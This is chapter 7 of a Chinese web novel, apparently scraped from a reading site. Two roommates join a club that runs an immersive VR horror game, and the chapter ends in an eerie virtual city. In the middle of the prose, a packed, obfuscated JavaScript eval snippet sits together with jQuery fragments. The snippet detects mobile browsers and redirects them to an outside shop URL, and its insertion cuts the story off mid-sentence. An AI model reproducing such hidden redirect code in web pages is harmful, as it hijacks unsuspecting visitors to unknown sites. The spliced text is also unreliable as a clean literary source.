默认冷灰
24号文字
方正启体

7. 第 7 章

作者:戎之本书字数:K更新时间:
    白恪走在校园里,暖洋洋的阳光照在地面,没有炎夏的暴晒,不似冬日的寒冷。


    他喜欢秋天的季节。


    白恪的步伐和邵述相同,他低头看光下的影子,这么看邵述也没比他高多少。


    身高是男人的勋章。


    他的勋章没落后多少,很好。


    白恪沾沾自喜,路过友善楼,他刚想拐弯,瞥见邵述径直往前走。


    白恪疑惑地叫住他:“邵述,到了。”


    邵述站定在原地:“不去社团,跟我走。”


    第一场活动就外出吗?


    白恪抬脚快步走,再次和邵述并肩。


    “我跟你走。”白恪说。


    接着,他听到很低一声笑。


    是邵述吗?


    白恪抬眼,并未在邵述的脸上看到笑容。


    他又出现幻听了。


    白恪闭眼几秒,调整心情。


    邵述越走越偏,白恪眼前闪过惹眼的花,鼻子嗅见充满桂花香味的树。路过无人清理的杂草,枯败的枝叶。身体穿行随意搭建的栅栏,他们向前走,抵达荒凉到太阳不愿眷顾的烂尾楼。


    这是白恪上学以来从未踏足的地方,他甚至不知道学校竟还有这样的废弃楼。


    楼层共有三层,区域开阔,二三层肉眼可见的空空如也。废弃楼没有大门,一层的角落放着沙发和圆桌。


    白恪走近,看到标语。


    【表演协社专用楼,非社团成员勿近】


    还挺有独占欲。


    白恪暗想,这地方平常也没人来吧。


    刚才感受到的暖光在来这里的第三分钟全部消散,白恪左右晃脑,说:“这次活动只有我们参加吗?”


    “人没到齐。”邵述说。


    白恪哦了声,他俯身用手撇沙发表面,搓了搓,没有灰尘。


    白恪抬眼看着邵述问:“可以坐吗?”


    邵述说:“坐。”


    白恪无负担地坐下,邵述则坐在他旁边。


    约莫过了两分钟,一行人浩浩荡荡来了。


    白恪最先听到的是笑声,他被声音所吸引,偏头瞥见四个人,男女都有。两个女生都抱着小纸箱,两个男生共同提着大纸箱。


    其中一个男生白恪认得,是杨亦宽。


    第二次见到,杨亦宽神采奕奕,不似上次见面的颓丧,气色改变容貌,杨亦宽精神不少。


    视线收回,白恪看向杨亦宽旁边的人,那人比杨亦宽低半头,很瘦,笑起来牙齿很白。


    女生同伴而行,头发随着步伐在风中摇曳,她们说说笑笑朝废弃楼走来。


    白恪默默观察每个人的言行举止。


    纸箱发出“哐当”的声响,杨亦宽累到甩手喘气:“你们这么快。”


    邵述淡道:“是你们迟到了。”


    “呃。”杨亦宽卡壳,“调试时间没把握好,晚了几分钟。”


    “别这么严肃嘛。”有点黑的男生乐呵呵道,“这是新成员吗?挺帅啊。”


    轮到他了。


    白恪站起,自然地打招呼:“大家好,我是白恪。”


    “终于见到了。”男生说,“我是活跃群聊小王子,陈飞岸!”


    啊。


    是群里搞抽象的。


    白恪记得他,认真说是印象深刻。


    因为他用的表情包都是真人,并且得到群里社员强烈谴责。


    白恪当时就猜测,或许是社员的照片。这下见到其中几个人,彻底验证。


    “我是任栗乔。”短发的女生自我介绍,顺便搂了下旁边马尾辫女孩的肩膀,“这是苏辛涔,她胆子大,等会儿你要是怕可以和我一起跟着她。”


    “你好。”白恪颔首,笑着说:“那靠你们了。”


    陈飞岸道:“咦,哪还需要你们啊。这是邵哥的本子,他最懂怎么通关了。跟着邵哥有肉吃。”


    本子?


    什么意思。


    白恪看向邵述,后者懒洋洋地哼笑。


    任栗乔接话道:“也是吼,白恪可以行室友便利。”


    白恪不尴不尬地笑了笑。


    他和邵述的朋友之约似乎没有展开,细想会发现,他们能说话,但只能僵着地聊两句。比之前的冷漠好,万万没到可以行诺室友便利的程度。


    他不好反驳,面带轻松地说:“是啊,靠邵哥罩我了。”


    杨亦宽正整理纸箱里的物件,苏辛涔在帮他。他们四个站在一起聊天,如同甩手掌柜,略微不近人情。


    白恪话说完,陈飞岸和任栗乔都笑了。


    陈飞岸道:“还得是亲室友。”


    唉。


    室友也分亲疏,他和邵述倒没这么熟。


    现在还不知道是什么项目,待会儿他们分头走,岂不是很尴尬。


    白恪胡乱想着。


    陈飞岸说完,便去帮忙打开幕布。任栗乔则蹲在苏辛涔旁边,看她摆弄。


    邵述始终没有回话。


    白恪作为新人,对他们的物件一窍不通,幕布被打开,挂在沙发前的墙壁,统共挂了四块幕布,将所有地方遮掩。


    任栗乔打开小纸箱,拿出耳机和放在社团椅旁的眼镜。


    白恪悄悄瞥眼邵述,他像木头,站定原地。


    不去帮忙吗?


    念头刚闪过,白恪晃晃脑袋打消。


    邵述不去也好。不然就他没活干,显得不合群。


    邵述思量许久,低眼。


    他突兀地开启话题,语气平淡:“你会怕?”


    隔了几分钟才回话,白恪差点误以为邵述在自言自语。


    他慢半拍反应过来,眼珠在四周乱转,烂尾楼被乌云遮蔽,天暗色,没完全黑。


    风太大了,枯枝叶被吹起,无人说话的情况,呼哧夹杂沙沙的声音,显得凄凉孤僻。


    要说怕,是有一点的。


    白恪坦然说:“一点点。”


    邵述嗯了声。


    “……”


    “?”


    “。”


    没了?


    他以为对方会象征性说些宽慰的话。


    比如——


    “别怕,我在。”


    “行,我保护你。”


    又或最普通的。


    “怕就跟着我。”


    什么都没有,嗯完结束。


    白恪虽说习惯......


    才怪吧!


    不是朋友吗?不是要当好室友吗?不是关系更亲近吗?


    饭白吃了,话白聊了。


    白恪默默在心里给邵述一记白眼。


    纸箱里的东西繁多,杨亦宽归整许久,好半会才站起。


    “好了。”杨亦宽说,“乔姐,分配物资吧。”


    任栗乔抱着箱子,每人面前晃一圈。大家默契拿了耳机和眼镜,到白恪,任栗乔散发温和的笑意。


    任栗乔:“白恪,箱子里的眼镜和耳机各一个,放轻松,好玩的。”


    白恪回以笑容:“谢谢。”


    白恪戴上眼镜和耳机,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154781|196535||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和社团成员一起倒在沙发。


    眼前的废弃楼忽而转变。


    灰色乌云遮盖城市,抬头看一片压抑。他身处在马路边,望着破败老旧的大楼,路灯是暗紫色,正好在他旁边,那道令人不舒服的色彩照在头顶,压住白恪身体。


    马路对面的红绿灯,红光停滞在18秒数。


    轰隆,轰隆。


    白恪耳边传来炮火般的响声,奇怪的是他环视一圈,整条大街没有行人。


    他明知自己还在校园里,眼前的实景像是世界末日到来的沉寂,无端将白恪内心牢笼里的恐惧释放,他身临其境,清楚明白这是游戏。


    恐怖因子放大,白恪小声呼唤在社团里唯一能依靠的人。


    “邵述...”


    倏然间,红灯开始倒计时。


    眼前出现一道提示,白框里的红字一闪一闪。


    白恪茫然抬头,看清字眼。


    【欢迎来到不败城,你的任务是:拯救自己】


    看不懂。


    白恪还在思考,脚踝忽感黏腻,像是被什么东西缠上,密密麻麻的情绪钻进胸口,后背敏感发麻。


    白恪缓缓低下头,如尸-体般苍白的身躯趴在他脚边,它的腿脚萎缩,脑袋似人似鱼类动物,它的脸贴在白恪裤角,眼眶空荡。


    似乎发现白恪的视线,它嘴巴诡异地张大,露出可怖的笑容。


    “……”


    白恪失语了,僵硬地站着。


    像一场梦。


    触感寸寸爬上心头,白恪大脑空白。


    邵述在哪里?


    他怕了,他真的怕了,他怕死了。


    白恪后悔加入这场游戏里,他宁愿此刻退出做个输家。


    退出键在哪?


    他不玩了——


    白恪试图离开程序,找不到指标,并绝望地发现,左脚也被束缚了。


    他闭上眼,不愿低头。


    无需猜想,因为那怪物正在他的腿部蠕动,白恪从未玩过这么刺激的逃脱游戏,这不是现实。


    是梦吗?


    有人在控制他的梦。


    除了做梦,没有科技能做到这么逼真。


    白恪胸口愈发焦灼,一口气堵着不上不下。


    太恶心了,太恶心了。


    我有洁癖啊!!!


    白恪绝望地在心里呐喊。


    黑压压的氛围里,白恪听见“嘶嘶、嘶嘶”的声音。


    ——从背后传来的。


    白恪不敢回头,他的双腿被怪物禁锢,能跑吗?


    念头刚起,白恪耳边忽然响起一道声音。


    “白恪,向前跑。”


    冷静,淡漠。


    是他最熟悉的声音。


    那瞬间,白恪的腿脚能动了。


    他往前跑,拼了命地跑。


    怪叫声越来越远,他跑进巷口,撞到同行的人。


    白恪“嗷”地叫了声,他被对方的身体弹开。


    又是怪物吗?白恪转身想跑。


    下一秒。


    “白恪,是我。”


    邵述的声音,温和的,有感情的。


    白恪定住,他偏头看向熟悉的脸。


    这是他在这座不败城,遇到的第一个游戏玩家。


    算不算,他和邵述的某种缘分?


    白恪毫不犹豫,双手握住邵述右手,捧起来。白恪微微低头,额间磕在邵述凸起的指骨。


    他的声音带着颤,迫切地表达:“邵述,我需要你。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)